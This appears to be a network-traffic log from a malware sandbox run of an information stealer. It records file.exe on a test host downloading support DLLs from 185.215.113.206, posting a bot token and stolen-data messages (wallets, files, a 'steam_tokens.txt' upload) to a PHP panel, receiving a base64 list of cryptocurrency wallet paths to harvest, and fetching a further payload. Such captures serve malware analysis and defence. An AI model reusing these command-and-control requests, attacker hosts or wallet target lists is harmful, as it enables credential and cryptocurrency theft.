Nov 18, 2024 00:27:54.718473911 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:54 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 18, 2024 00:27:55.492235899 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 00:27:55.769120932 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:55 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 18, 2024 00:27:57.648448944 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 00:27:57.925129890 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:57 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 18, 2024 00:27:58.196238995 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 00:27:58.474209070 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:58 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 18, 2024 00:27:59.143435955 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKEGCAEGIIJKFIEHIJE Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 00:27:59.921323061 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 00:27:59.984855890 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGHCBKFCFBFHIDHDBFC Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 65 63 62 66 33 61 33 33 33 30 39 66 66 63 38 63 30 64 62 37 37 64 31 61 66 39 38 33 33 65 34 65 61 66 35 36 30 36 30 39 33 63 64 37 36 62 37 30 62 66 31 63 38 31 36 35 32 37 62 61 32 37 36 64 37 37 64 31 61 36 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 2d 2d 0d 0a Data Ascii: ------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="token"42ecbf3a33309ffc8c0db77d1af9833e4eaf5606093cd76b70bf1c816527ba276d77d1a6------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="message"wallets------GCGHCBKFCFBFHIDHDBFC--
Nov 18, 2024 00:28:00.264614105 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:28:00 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 18, 2024 00:28:00.272074938 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGCFIIEBKEGHJJJJJJDA Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 65 63 62 66 33 61 33 33 33 30 39 66 66 63 38 63 30 64 62 37 37 64 31 61 66 39 38 33 33 65 34 65 61 66 35 36 30 36 30 39 33 63 64 37 36 62 37 30 62 66 31 63 38 31 36 35 32 37 62 61 32 37 36 64 37 37 64 31 61 36 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 2d 2d 0d 0a Data Ascii: ------CGCFIIEBKEGHJJJJJJDAContent-Disposition: form-data; name="token"42ecbf3a33309ffc8c0db77d1af9833e4eaf5606093cd76b70bf1c816527ba276d77d1a6------CGCFIIEBKEGHJJJJJJDAContent-Disposition: form-data; name="message"files------CGCFIIEBKEGHJJJJJJDA--
Nov 18, 2024 00:28:00.554169893 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:28:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 00:28:00.571762085 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAFHIJDHDGDBFHIEHDGI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 46 48 49 4a 44 48 44 47 44 42 46 48 49 45 48 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 65 63 62 66 33 61 33 33 33 30 39 66 66 63 38 63 30 64 62 37 37 64 31 61 66 39 38 33 33 65 34 65 61 66 35 36 30 36 30 39 33 63 64 37 36 62 37 30 62 66 31 63 38 31 36 35 32 37 62 61 32 37 36 64 37 37 64 31 61 36 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 48 49 4a 44 48 44 47 44 42 46 48 49 45 48 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 48 49 4a 44 48 44 47 44 42 46 48 49 45 48 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CAFHIJDHDGDBFHIEHDGIContent-Disposition: form-data; name="token"42ecbf3a33309ffc8c0db77d1af9833e4eaf5606093cd76b70bf1c816527ba276d77d1a6------CAFHIJDHDGDBFHIEHDGIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CAFHIJDHDGDBFHIEHDGIContent-Disposition: form-data; name="file"------CAFHIJDHDGDBFHIEHDGI--
Nov 18, 2024 00:28:01.347134113 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:28:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 00:28:01.383929014 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIIEGHIDBGHIECAAECGD Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 65 63 62 66 33 61 33 33 33 30 39 66 66 63 38 63 30 64 62 37 37 64 31 61 66 39 38 33 33 65 34 65 61 66 35 36 30 36 30 39 33 63 64 37 36 62 37 30 62 66 31 63 38 31 36 35 32 37 62 61 32 37 36 64 37 37 64 31 61 36 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 2d 2d 0d 0a Data Ascii: ------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="token"42ecbf3a33309ffc8c0db77d1af9833e4eaf5606093cd76b70bf1c816527ba276d77d1a6------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="message"ybncbhylepme------GIIEGHIDBGHIECAAECGD--
Nov 18, 2024 00:28:01.665869951 CET	271	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:28:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	50055	185.215.113.16	80	2496	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 00:28:01.677428007 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 18, 2024 00:28:02.597559929 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 23:28:02 GMT Content-Type: application/octet-stream Content-Length: 1950720 Last-Modified: Sun, 17 Nov 2024 23:14:49 GMT Connection: keep-alive ETag: "673a78e9-1dc400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 10 4d 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfM@@M@WkHDLL @.rsrcH@.idata @ +@mqhmzwswP2@pyhwalqcM@.taggant0M"@
Nov 18, 2024 00:28:02.597572088 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 00:28:02.597721100 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 00:28:02.597743988 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 00:28:02.597753048 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 00:28:02.597762108 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 00:28:02.597776890 CET	1236	IN	Data Raw: c2 37 d4 ed 84 03 e2 d9 bd ff 23 05 39 27 d3 59 e4 e3 77 68 f4 62 b5 6a 7b 47 4f 69 19 93 3b 69 e8 59 05 4b 7b e7 fb d6 07 f3 0f 32 30 56 eb 74 7b 98 9a 58 7c ca 05 37 f6 37 b5 bd 7b c3 e0 71 3d 57 b5 39 ab 44 99 55 ea 15 7a 09 b8 5b d7 ea aa c7 Data Ascii: 7#9'Ywhbj{GOi;iYK{20Vt{X\|77{q=W9DUz[wKSSwy.EDc1W7s\|o_vXf,9[o}qlW"$u-SBhV[R[VCV*dsyk?ADw&jQ\<{
Nov 18, 2024 00:28:02.597786903 CET	636	IN	Data Raw: 4c 72 02 12 4b fc 18 1a c1 37 2a 68 bf 7f 93 17 7c 47 9d 18 0c 9b 0d ed d1 5a 6c 10 7e 17 a5 4d 80 d6 07 6a 60 64 02 85 03 32 2f ae b7 4c 27 da 99 2b 24 b7 31 bf c1 45 46 af 2b 8a 42 78 ca 89 45 71 f0 d5 87 a7 f0 19 e6 e8 49 92 19 61 08 a4 24 3a Data Ascii: LrK7*h\|GZl~Mj`d2/L'+$1EF+BxEqIa$:/[~9w?I $9x12LU;.pg:IK@u~ysk~6~4V-cJvNi&2}KAu?qC[!9FGQ+`Dq-VFD.ctr
Nov 18, 2024 00:28:02.597873926 CET	1236	IN	Data Raw: 06 46 09 20 0b bf a8 a1 a1 b1 7c be 6c 46 f9 17 91 bf aa 64 94 47 4f de 88 1f 01 95 e7 15 f6 b9 4c 2a 5c 60 f2 87 75 db 44 c0 39 46 e6 71 4f 5a fc ae b6 1f bb 8d 4a b2 cf ba f8 ef 48 31 91 38 a0 dd d7 f9 ca b6 11 c9 54 2b 56 e6 5a 83 b5 3c cc 35 Data Ascii: F \|lFdGOL*\`uD9FqOZJH18T+VZ<55g#3\|K+=};CDf&\\|EVE:Nh{OKESZYB_Y~L2{~q:{+0tU[^z}mrDd5Z;!@p
Nov 18, 2024 00:28:02.597935915 CET	1236	IN	Data Raw: 4f fe 05 17 cc 7f 89 d1 83 09 59 e0 7c d3 b6 01 05 73 7a 15 89 cb 08 a1 7c 94 4d 67 7c 0a 1f b7 67 76 cf 04 6d d6 4a d5 b0 2d 39 d9 f6 b1 eb 0d 2b 00 86 5a 99 a1 6c e8 a5 e6 83 36 24 fd ae 5c 54 74 aa 89 4d 53 68 aa 9b 37 37 40 0b f2 f4 7e 5c 23 Data Ascii: OY\|sz\|Mg\|gvmJ-9+Zl6$\TtMSh77@~\# j]tmQA$q"hhYI{i"`}sYAG`5_>H7g ;wLS2u?SLF9Y"\>J$Km((6CNEV@+
